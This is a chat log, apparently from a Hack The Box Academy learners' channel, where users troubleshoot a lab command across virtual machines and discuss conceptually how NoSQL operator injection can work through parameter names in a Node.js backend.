but I keep getting that error, it is not happening because of it, why r u playing "so smart" yet you aint read the msgs

anyway thanks

[misty current]

is that page authenticated?

I feel like admin/admin.php?id=n is authenticated? then you'd need to provide the session cookies

[clever sky]

It doesn't mention anything about authentication in the module

[misty current]

Did you authenticate tho?

[clever sky]

No... how?

[rustic sage]

Hello colleagues, I am finishing the safety fundamentals course. Do I want to know how I can start practicing in the labs according to what I learned?

[misty current]

Ah, if it's not authenticated then it's something else lol.

It looked like a request that you fetched after you logged into the application. Not the case I see

[zinc marsh]

send what output u get

[clever sky]

I tried the same command on HTB Pwnbox and worked. For some reason is not working on the Parrot HTB VM I usually use. The VPN is setup correctly and working.

Thanks

[zinc marsh]

https://academy.hackthebox.com/module/33/section/194

someone completed this? not sure if i used the intended way

[onyx rapids]

This here is really confusing, it comes from the NoSQL module. Why all of a sudden can we name a parameter that way? I really wish there was more details around that because I've never seen anything like that before. Usually payloads go inside the value of the parameter, and so I'm not even sure how the parameter name itself can be tampered with and still work

[zinc marsh]

not equal

[thorn urchin]

its specifically because of how nodejs works

[zinc marsh]

https://book.hacktricks.xyz/pentesting-web/nosql-injection

[onyx rapids]

Ok, I'll have to brush up on how it works because it's so confusing to see a parameter like that

[thorn urchin]

its all strings in the end and how they get parsed

[onyx rapids]

The not equal part makes sense, but the fact that it's not in the value, but within the parameter name itself confuses me

[zinc marsh]

it is about the coding if im right

[thorn urchin]

theres nothing special that makes a parameter name different than the value other than how the backend processes it